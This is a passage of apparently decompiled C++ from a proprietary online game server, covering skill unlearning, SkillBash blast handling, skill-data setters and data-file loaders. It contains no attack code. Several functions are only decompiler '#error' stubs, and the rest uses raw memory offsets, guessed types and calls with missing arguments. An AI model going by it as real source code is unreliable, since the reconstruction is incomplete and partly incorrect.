CharacterPassiveList::cpl_UnLearn((CharacterPassiveList *)((char *)v2 + 68240), v4); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 868))(v2); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 872))(v2); } else { CharaterSkillList::csl_UnLearn((CharaterSkillList *)v2 + 3411, v4); } } v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 18471; *((_WORD *)v5 + 1) = v4; *((_WORD *)v5 + 2) = v3; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_UNLEARN_REQ : Packet Too Long", 6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_UnlearnSkillAck"); } //----- (005192E0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val) { std::vector > *v4; // edi@1 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)(*(_DWORD *)&_Where - (_DWORD)v5 + ((unsigned __int64)(-1840700269i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32)) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (00519350) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val) { std::vector > *v2; // edi@1 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v3; // ebx@1 int v4; // esi@2 signed int v5; // edx@3 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v6; // esi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((char *)this->_Mylast + (unsigned int)(((unsigned __int64)(-1840700269i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) - (unsigned int)v3)) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < this->_Myend - v3 ) { v6 = this->_Mylast; std::_Uninit_fill_n>( this->_Mylast, 1u, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( this, (std::vector >::iterator *)&_Val, (std::vector >::iterator)this->_Mylast, _Val); } } //----- (005193E0) -------------------------------------------------------- #error "5193E0: undefined or illegal type '#325' (funcsize=170)" //----- (005195F0) -------------------------------------------------------- #error "5195F0: undefined or illegal type '#325' (funcsize=1024)" //----- (0051A460) -------------------------------------------------------- #error "51A460: undefined or illegal type '#740' (funcsize=68)" //----- (0051A560) -------------------------------------------------------- void __fastcall ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast(int caster, int targetlocate, int empower) { int v3; // esi@1 int v4; // ecx@1 char v5; // al@1 char v6; // al@3 int v7; // edx@4 int v8; // eax@9 unsigned int v9; // ecx@9 char *v10; // ecx@9 int v11; // edx@9 char *v12; // eax@11 int v13; // ST04_4@11 int v14; // eax@11 char *v15; // [sp+18h] [bp-30h]@4 AxialListPacketBroadcast alchat; // [sp+30h] [bp-18h]@11 int v17; // [sp+44h] [bp-4h]@1 v3 = caster; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast(Loc)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast(Loc)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)(v3 + 7144); v5 = *(_BYTE *)(*(_DWORD *)(v4 + 4) + 180); v17 = 0; if ( v5 ) *(_BYTE *)(v3 + 7368) |= 0x10u; v6 = *(_BYTE *)(v3 + 7368); if ( v6 & 0x10 ) { *(_BYTE *)(v3 + 7368) = v6 & 0xEF; if ( *(_BYTE *)(v4 + 328) ) { if ( *(_BYTE *)(v3 + 7094) & 2 || *(_DWORD *)(v3 + 144) == 3 ) { (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 2728))(v3); LABEL_12: v15 = "ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast(Loc)"; goto LABEL_13; } ShineObjectClass::ShineMobileObject::smo_ShootMeTo((void *)v3, empower); } v8 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 1352))(v3); v9 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v9; v10 = (char *)&namestring + 256 * v9; *(_DWORD *)v10 = *(_DWORD *)v8; *((_DWORD *)v10 + 1) = *(_DWORD *)(v8 + 4); v11 = *(_DWORD *)(v8 + 8); *((_DWORD *)v10 + 2) = v11; *((_DWORD *)v10 + 3) = *(_DWORD *)(v8 + 12); v10[16] = 0; SkillResultBuffer::bufferpoint = 0; if ( *(_BYTE *)(*(_DWORD *)(v3 + 7144) + 168) ) { ShineObjectClass::ShineMobileObject::smo_WarpTo(v3, v11, -1, empower, *(_DWORD *)(v3 + 7144)); ShineObjectClass::ShineMobileObject::smo_SkillResultPacket((void *)v3, *(_DWORD *)(v3 + 7144), empower); } v12 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9303; *((_WORD *)v12 + 2) = *(_WORD *)(v3 + 4); *((_WORD *)v12 + 1) = *(_WORD *)(v3 + 7386); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 6); v13 = *(_DWORD *)(v3 + 78); LOBYTE(v17) = 1; v14 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v3, v14, v13, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v17) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); SkillEffectApply::SkillBlastEffectContainer::sbec_Store( &skilleffectapplyer, *(_WORD *)(v3 + 7386), *(SkillDataBox::SkillDataIndex **)(v3 + 7144), (#740 *)v3, 0, (SHINE_XY_TYPE *)empower, -1); goto LABEL_12; } v7 = *(_DWORD *)(v3 + 7124); *(_BYTE *)(v3 + 7368) = v6 | 0x10; *(_DWORD *)(v3 + 7124) = v7 + 3; v15 = "ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast(Loc)"; LABEL_13: --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v15); } // 124F0FC0: using guessed type int SkillResultBuffer__bufferpoint; //----- (0051A760) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast(#325 *this, SKILL_EMPOWER *targetobject) { int v2; // esi@1 char v3; // al@1 int v4; // eax@4 char *v5; // ebp@5 int v6; // eax@7 char v7; // al@12 int v8; // edx@13 int v9; // edx@14 int v10; // eax@14 unsigned int v11; // ecx@14 char *v12; // ecx@14 int v13; // edx@20 int v14; // ebp@20 int v15; // ebp@20 int v16; // eax@20 int v17; // ST34_4@20 SHINE_XY_TYPE *v18; // ebp@21 char *v19; // eax@23 int v20; // ST20_4@23 int v21; // eax@23 int lastdamage; // [sp+48h] [bp-30h]@1 AxialListPacketBroadcast alchat; // [sp+50h] [bp-28h]@20 VectorClass::VectorWithLength targetvector; // [sp+5Ch] [bp-1Ch]@20 int v25; // [sp+74h] [bp-4h]@1 v2 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast(Obj)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast(Obj)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_BYTE *)(*(_DWORD *)(v2 + 7144) + 184); v25 = 0; lastdamage = -1; if ( v3 ) { if ( !targetobject || !(unsigned __int8)(*(int (__thiscall **)(int, SKILL_EMPOWER *, _DWORD))(*(_DWORD *)v2 + 2340))( v2, targetobject, "smo_SkillBash_Blast") || (v4 = (*(int (__thiscall **)(SKILL_EMPOWER *, int))(*(_DWORD *)&targetobject->_bf0 + 2384))(targetobject, v2), v4 == -1) ) { (*(void (__thiscall **)(int))(*(_DWORD *)v2 + 2836))(v2); v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9294; *((_WORD *)v5 + 1) = **(_WORD **)(*(_DWORD *)(v2 + 7144) + 4); *((_WORD *)v5 + 2) = targetobject[2]._bf0; *((_WORD *)v5 + 3) = SkillEffectApply::SkillBlastEffectContainer::sbec_GetIndex(&skilleffectapplyer); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v6 = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast : Packet Too Long", 8); } ShineObjectClass::ShineMobileObject::smo_ClearSkillResultBuffer_Miss(v2, targetobject); ShineObjectClass::ShineMobileObject::smo_SkillResultPacket( (void *)v2, *(_DWORD *)(v2 + 7144), *(_DWORD *)&targetobject[39]._bf0); LABEL_24: v25 = -1; goto LABEL_25; } lastdamage = 2 * v4; *(_BYTE *)(v2 + 7368) |= 0x10u; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)(v2 + 7144) + 4) + 180) ) *(_BYTE *)(v2 + 7368) |= 0x10u; v7 = *(_BYTE *)(v2 + 7368); if ( v7 & 0x10 ) { v9 = *(_DWORD *)v2; *(_BYTE *)(v2 + 7368) = v7 & 0xEF; v10 = (*(int (__thiscall **)(int))(v9 + 1352))(v2); v11 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v11; v12 = (char *)&namestring + 256 * v11; *(_DWORD *)v12 = *(_DWORD *)v10; *((_DWORD *)v12 + 1) = *(_DWORD *)(v10 + 4); *((_DWORD *)v12 + 2) = *(_DWORD *)(v10 + 8); *((_DWORD *)v12 + 3) = *(_DWORD *)(v10 + 12); v12[16] = 0; SkillResultBuffer::bufferpoint = 0; if ( *(_BYTE *)(*(_DWORD *)(v2 + 7144) + 168) ) { ShineObjectClass::ShineMobileObject::smo_WarpForward(v2, -1, *(_DWORD *)(v2 + 7144)); ShineObjectClass::ShineMobileObject::smo_SkillResultPacket( (void *)v2, *(_DWORD *)(v2 + 7144), *(_DWORD *)&targetobject[39]._bf0); (*(void (__thiscall **)(int))(*(_DWORD *)v2 + 2860))(v2); } if ( *(_BYTE *)(*(_DWORD *)(v2 + 7144) + 320) && !(*(_BYTE *)((*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1052))(v2) + 3086) & 2) ) ShineObjectClass::ShineMobileObject::smo_ShadowStep(v2, targetobject); if ( *(_BYTE *)(*(_DWORD *)(v2 + 7144) + 312) ) { VectorClass::VectorWithLength::VectorWithLength( &targetvector, *(SHINE_XY_TYPE **)&targetobject[39]._bf0, *(SHINE_XY_TYPE **)(v2 + 78)); v13 = *(_DWORD *)&targetobject->_bf0; LOBYTE(v25) = 1; v14 = (*(int (__thiscall **)(SKILL_EMPOWER *))(v13 + 1660))(targetobject); v15 = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1660))(v2) + v14; VectorClass::VectorWithLength::vwl_Scale(&targetvector, v15); v16 = *(_DWORD *)&targetobject[39]._bf0; alchat.baseclass_0.vfptr = (AxialListIteratorVtbl *)(*(_DWORD *)v16 - targetvector.baseclass_4.v_x); v17 = *(_DWORD *)(v2 + 7144); alchat.alpb_packet = (ProtocolPacket *)(*(_DWORD *)(v16 + 4) - targetvector.baseclass_4.v_y); ShineObjectClass::ShineMobileObject::smo_WarpTo(v2, (int)alchat.alpb_packet, v15, (int)&alchat, v17); ShineObjectClass::ShineMobileObject::smo_SkillResultPacket( (void *)v2, *(_DWORD *)(v2 + 7144), *(_DWORD *)&targetobject[39]._bf0); LOBYTE(v25) = 0; } v18 = *(SHINE_XY_TYPE **)&targetobject[39]._bf0; if ( *(_DWORD *)(*(_DWORD *)(*(_DWORD *)(v2 + 7144) + 4) + 172) == 1 ) v18 = *(SHINE_XY_TYPE **)(v2 + 78); v19 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9303; *((_WORD *)v19 + 2) = *(_WORD *)(v2 + 4); *((_WORD *)v19 + 1) = *(_WORD *)(v2 + 7386); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 6); v20 = *(_DWORD *)(v2 + 78); LOBYTE(v25) = 2; v21 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v2, v21, v20, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v25) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); SkillEffectApply::SkillBlastEffectContainer::sbec_Store( &skilleffectapplyer, *(_WORD *)(v2 + 7386), *(SkillDataBox::SkillDataIndex **)(v2 + 7144), (#740 *)v2, (#325 *)targetobject, v18, lastdamage); goto LABEL_24; } v8 = *(_DWORD *)(v2 + 7124); *(_BYTE *)(v2 + 7368) = v7 | 0x10; *(_DWORD *)(v2 + 7124) = v8 + 3; v25 = -1; LABEL_25: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast(Obj)"); } // 440810: using guessed type int __thiscall ShineObjectClass__ShineMobileObject__smo_ShadowStep(_DWORD, _DWORD); // 5157B0: using guessed type int __thiscall ShineObjectClass__ShineMobileObject__smo_ClearSkillResultBuffer_Miss(_DWORD, _DWORD); // 124F0FC0: using guessed type int SkillResultBuffer__bufferpoint; //----- (0051AB00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast_Trap(void *this, int targetlocate, SKILL_EMPOWER *empower, int sklidx) { void *v4; // esi@1 char *v5; // eax@1 int v6; // ST04_4@1 int v7; // eax@1 int v8; // eax@1 unsigned int v9; // ecx@1 char *v10; // ecx@1 int v11; // ebp@2 int v12; // ST08_4@5 int v13; // eax@5 AxialListPacketBroadcast alchat; // [sp+24h] [bp-18h]@1 int v15; // [sp+38h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast_Trap(Loc)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast_Trap(Loc)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9283; *((_WORD *)v5 + 1) = **(_WORD **)(sklidx + 4); *((_WORD *)v5 + 2) = *((_WORD *)v4 + 2); *(_DWORD *)(v5 + 6) = *(_DWORD *)targetlocate; *(_DWORD *)(v5 + 10) = *(_DWORD *)(targetlocate + 4); v15 = 0; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 14); v6 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v15) = 1; v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v7, v6, 0, 0, (int)&alchat, 1, 65535); v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1352))(v4); v9 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v9; v10 = (char *)&namestring + 256 * v9; *(_DWORD *)v10 = *(_DWORD *)v8; *((_DWORD *)v10 + 1) = *(_DWORD *)(v8 + 4); *((_DWORD *)v10 + 2) = *(_DWORD *)(v8 + 8); *((_DWORD *)v10 + 3) = *(_DWORD *)(v8 + 12); v10[16] = 0; SkillResultBuffer::bufferpoint = 0; switch ( *(_DWORD *)(*(_DWORD *)(sklidx + 4) + 176) ) { case 0: v11 = (int)&alnse; goto LABEL_5; case 3: v11 = (int)&alnsf; goto LABEL_5; case 2: case 6: v11 = (int)&alnsp; LABEL_5: *(_DWORD *)(v11 + 408) = v4; *(_DWORD *)(v11 + 404) = 0; v12 = *(_DWORD *)(*(_DWORD *)(sklidx + 4) + 231) >> 1; v13 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v13, targetlocate, v12, 0, v11, 1, 65535); qsort((void *)(v11 + 4), *(_DWORD *)(v11 + 404), 8u, AxialListNearScan::alns_Compare); AxialListScanSkillTarget::alsst_SkillBlast( (AxialListScanSkillTarget *)v11, (SkillDataBox::SkillDataIndex *)sklidx, empower, *(_DWORD *)(*(_DWORD *)(sklidx + 4) + 235), 0); break; default: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast : Invalid TargetType", **(_WORD **)(sklidx + 4), *(_DWORD *)(*(_DWORD *)(sklidx + 4) + 172)); break; } ShineObjectClass::ShineMobileObject::smo_SkillResultPacket(v4, sklidx, targetlocate); LOBYTE(v15) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast_Trap(Loc)"); } // 124F0FC0: using guessed type int SkillResultBuffer__bufferpoint; //----- (0051AD30) -------------------------------------------------------- #error "51AD30: undefined or illegal type '#325' (funcsize=165)" //----- (0051AFB0) -------------------------------------------------------- #error "51AFB0: undefined or illegal type '#740' (funcsize=227)" //----- (0051B2C0) -------------------------------------------------------- #error "51B2C0: undefined or illegal type '#740' (funcsize=130)" //----- (0051B490) -------------------------------------------------------- int __cdecl SkillDataBox::sdb_compare(const void *a, const void *b) { return **((_WORD **)a + 1) - **((_WORD **)b + 1); } //----- (0051B4B0) -------------------------------------------------------- ABSTATEINDEX __thiscall SkillDataBox::sdb_load_IndexSearch(SkillDataBox *this, char *name) { unsigned int v2; // eax@1 ABSTATEINDEX result; // eax@2 AbnormalStateDictionary::AbState::AbStateStr *v4; // esi@3 v2 = BTree::operator__(&unk_6158F0, name); if ( v2 == -1 ) { result = 412; } else { v4 = AbnormalStateDictionary::AbState::as_FromID(&dic_abstate, v2); if ( v4 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_load_IndexSearch : Search error", name); ShineExit("SkillDataBox::sdb_load_IndexSearch"); } result = v4->index->AbStataIndex; } return result; } //----- (0051B510) -------------------------------------------------------- void __thiscall SkillDataBox::SkillDataIndex::sdi_SetAbstate(SkillDataBox::SkillDataIndex *this, int sub, char *statename, int strength, int rate) { SkillDataBox::SkillDataIndex *v5; // esi@1 ABSTATEINDEX v6; // eax@1 int v7; // edx@1 v5 = this; v6 = SkillDataBox::sdb_load_IndexSearch(&skilldatabox, statename); v7 = (int)((char *)v5 + 12 * sub); *(_DWORD *)(v7 + 16) = v6; *(_DWORD *)(v7 + 20) = strength; *((_DWORD *)&v5->sdi_ServInf + 3 * sub + 6) = rate; if ( *statename != 45 && v6 == 412 ) { AssertClass::ac_AssertFail( &shineassert, "SkillDataBox::SkillDataIndex::sdi_SetAbstate : StateName wrong", statename); AssertClass::ac_AssertFail( &shineassert, "SkillDataBox::SkillDataIndex::sdi_SetAbstate : StateName wrong", v5->sdi_Activ->ID); ShineExit("SkillDataBox::SkillDataIndex::sdi_SetAbstate"); } } //----- (0051B5A0) -------------------------------------------------------- void __thiscall SkillDataBox::SkillDataIndex::sdi_Clear(SkillDataBox::SkillDataIndex *this) { int clear; // [sp+0h] [bp-8h]@0 LOBYTE(clear) = 0; *(_DWORD *)&this->sdi_POSIONTIMEADD.exist = clear; this->sdi_POSIONTIMEADD.value = 0; *(_DWORD *)&this->sdi_HOLDME.exist = clear; this->sdi_HOLDME.value = 0; *(_DWORD *)&this->sdi_CURSETIMEADD.exist = clear; this->sdi_CURSETIMEADD.value = 0; *(_DWORD *)&this->sdi_FIRETIMEADD.exist = clear; this->sdi_FIRETIMEADD.value = 0; *(_DWORD *)&this->sdi_SHOOTME.exist = clear; this->sdi_SHOOTME.value = 0; *(_DWORD *)&this->sdi_JWALK.exist = clear; this->sdi_JWALK.value = 0; *(_DWORD *)&this->sdi_DISPELDEEPER.exist = clear; this->sdi_DISPELDEEPER.value = 0; *(_DWORD *)&this->sdi_DISPELDISEASE.exist = clear; this->sdi_DISPELDISEASE.value = 0; *(_DWORD *)&this->sdi_DISPELPOISON.exist = clear; this->sdi_DISPELPOISON.value = 0; *(_DWORD *)&this->sdi_DISPELCURSE.exist = clear; this->sdi_DISPELCURSE.value = 0; *(_DWORD *)&this->sdi_DISPELDEBUFF.exist = clear; this->sdi_DISPELDEBUFF.value = 0; *(_DWORD *)&this->sdi_SILVERWING.exist = clear; this->sdi_SILVERWING.value = 0; *(_DWORD *)&this->sdi_FLYDURINGCAST.exist = clear; this->sdi_FLYDURINGCAST.value = 0; *(_DWORD *)&this->sdi_HPUPRATE.exist = clear; this->sdi_HPUPRATE.value = 0; *(_DWORD *)&this->sdi_HPCONVERTSP.exist = clear; this->sdi_HPCONVERTSP.value = 0; *(_DWORD *)&this->sdi_STEALENCHANT.exist = clear; this->sdi_STEALENCHANT.value = 0; *(_DWORD *)&this->sdi_MAGICFIELD_KEEP.exist = clear; this->sdi_MAGICFIELD_KEEP.value = 0; *(_DWORD *)&this->sdi_MAGICFIELD_TICK.exist = clear; this->sdi_MAGICFIELD_TICK.value = 0; *(_DWORD *)&this->sdi_REVIVAL.exist = clear; this->sdi_REVIVAL.value = 0; *(_DWORD *)&this->sdi_DIEHPUP.exist = clear; this->sdi_DIEHPUP.value = 0; *(_DWORD *)&this->sdi_THHPUP.exist = clear; this->sdi_THHPUP.value = 0; *(_DWORD *)&this->sdi_DISPELONE.exist = clear; this->sdi_DISPELONE.value = 0; *(_DWORD *)&this->sdi_WARPING_TARGET.exist = clear; this->sdi_WARPING_TARGET.value = 0; *(_DWORD *)&this->sdi_CROSSCOUNTER.exist = clear; this->sdi_CROSSCOUNTER.value = 0; *(_DWORD *)&this->sdi_DETECT.exist = clear; this->sdi_DETECT.value = 0; *(_DWORD *)&this->sdi_WARPING.exist = clear; this->sdi_WARPING.value = 0; *(_DWORD *)&this->sdi_WHOLEAGGRORANGE.exist = clear; this->sdi_WHOLEAGGRORANGE.value = 0; *(_DWORD *)&this->sdi_WHOLEAGGRORATE.exist = clear; this->sdi_WHOLEAGGRORATE.value = 0; *(_DWORD *)&this->sdi_DISPELRANDOM.exist = clear; this->sdi_DISPELRANDOM.value = 0; *(_DWORD *)&this->sdi_DISPELALL.exist = clear; this->sdi_DISPELALL.value = 0; *(_DWORD *)&this->sdi_UNDEADTODMG.exist = clear; this->sdi_UNDEADTODMG.value = 0; *(_DWORD *)&this->sdi_MANABURN.exist = clear; this->sdi_MANABURN.value = 0; *(_DWORD *)&this->sdi_WHOLEHEALAMOUNT.exist = clear; this->sdi_WHOLEHEALAMOUNT.value = 0; *(_DWORD *)&this->sdi_TELEPORT.exist = clear; this->sdi_TELEPORT.value = 0; *(_DWORD *)&this->sdi_DISPEL.exist = clear; this->sdi_DISPEL.value = 0; *(_DWORD *)&this->sdi_CURE.exist = clear; this->sdi_CURE.value = 0; *(_DWORD *)&this->sdi_HEALAMOUNT.exist = clear; this->sdi_HEALAMOUNT.value = 0; } //----- (0051B750) -------------------------------------------------------- void __thiscall SkillDataBox::SkillDataIndex::sdi_SetArgument(SkillDataBox::SkillDataIndex *this, SkillSpecial ss, int arg) { switch ( ss ) { case 1: this->sdi_HEALAMOUNT.exist = 1; this->sdi_HEALAMOUNT.value = arg; break; case 2: this->sdi_CURE.exist = 1; this->sdi_CURE.value = arg; break; case 3: this->sdi_DISPEL.exist = 1; this->sdi_DISPEL.value = arg; break; case 4: this->sdi_TELEPORT.exist = 1; this->sdi_TELEPORT.value = arg; break; case 5: this->sdi_WHOLEHEALAMOUNT.exist = 1; this->sdi_WHOLEHEALAMOUNT.value = arg; break; case 6: this->sdi_MANABURN.exist = 1; this->sdi_MANABURN.value = arg; break; case 7: this->sdi_UNDEADTODMG.exist = 1; this->sdi_UNDEADTODMG.value = arg; break; case 8: this->sdi_DISPELALL.exist = 1; this->sdi_DISPELALL.value = arg; break; case 9: this->sdi_DISPELONE.exist = 1; this->sdi_DISPELONE.value = arg; break; case 26: this->sdi_DISPELRANDOM.exist = 1; this->sdi_DISPELRANDOM.value = arg; break; case 24: this->sdi_WHOLEAGGRORATE.exist = 1; this->sdi_WHOLEAGGRORATE.value = arg; break; case 28: this->sdi_WHOLEAGGRORANGE.exist = 1; this->sdi_WHOLEAGGRORANGE.value = arg; break; case 38: this->sdi_WARPING_TARGET.exist = 1; this->sdi_WARPING_TARGET.value = arg; this->sdi_WARPING.value = arg; break; case 25: case 36: this->sdi_WARPING.exist = 1; this->sdi_WARPING.value = arg; break; case 27: this->sdi_DETECT.exist = 1; this->sdi_DETECT.value = arg; break; case 34: this->sdi_CROSSCOUNTER.exist = 1; this->sdi_CROSSCOUNTER.value = arg; break; case 10: this->sdi_THHPUP.exist = 1; this->sdi_THHPUP.value = arg; break; case 11: this->sdi_DIEHPUP.exist = 1; this->sdi_DIEHPUP.value = arg; break; case 12: this->sdi_REVIVAL.exist = 1; this->sdi_REVIVAL.value = arg; break; case 13: this->sdi_MAGICFIELD_TICK.exist = 1; this->sdi_MAGICFIELD_TICK.value = arg; break; case 14: this->sdi_MAGICFIELD_KEEP.exist = 1; this->sdi_MAGICFIELD_KEEP.value = arg; break; case 15: this->sdi_STEALENCHANT.exist = 1; this->sdi_STEALENCHANT.value = arg; break; case 16: this->sdi_HPCONVERTSP.exist = 1; this->sdi_HPCONVERTSP.value = arg; break; case 17: this->sdi_HPUPRATE.exist = 1; this->sdi_HPUPRATE.value = arg; break; case 18: this->sdi_FLYDURINGCAST.exist = 1; this->sdi_FLYDURINGCAST.value = arg; break; case 19: this->sdi_SILVERWING.exist = 1; this->sdi_SILVERWING.value = arg; break; case 20: this->sdi_DISPELDEBUFF.exist = 1; this->sdi_DISPELDEBUFF.value = arg; break; case 21: this->sdi_DISPELCURSE.exist = 1; this->sdi_DISPELCURSE.value = arg; break; case 22: this->sdi_DISPELPOISON.exist = 1; this->sdi_DISPELPOISON.value = arg; break; case 23: this->sdi_DISPELDISEASE.exist = 1; this->sdi_DISPELDISEASE.value = arg; break; case 35: this->sdi_DISPELDEEPER.exist = 1; this->sdi_DISPELDEEPER.value = arg; break; case 45: this->sdi_SHOOTME.exist = 1; this->sdi_SHOOTME.value = arg; break; case 43: this->sdi_JWALK.exist = 1; this->sdi_JWALK.value = arg; break; case 41: this->sdi_FIRETIMEADD.exist = 1; this->sdi_FIRETIMEADD.value = arg; break; case 40: this->sdi_CURSETIMEADD.exist = 1; this->sdi_CURSETIMEADD.value = arg; break; case 42: this->sdi_HOLDME.exist = 1; this->sdi_HOLDME.value = arg; break; case 44: this->sdi_POSIONTIMEADD.exist = 1; this->sdi_POSIONTIMEADD.value = arg; break; default: return; } } //----- (0051BAE0) -------------------------------------------------------- char __thiscall PassiveDataBox::sdb_Next(PassiveDataBox *this, int *sub) { int v2; // edx@1 v2 = *sub + 1; *sub = v2; return v2 < this->pdb_passivenumber; } //----- (0051BB00) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x410u, 0x4Eu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0051BBB0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x1F4E3u, 0x283u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0051BC60) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( 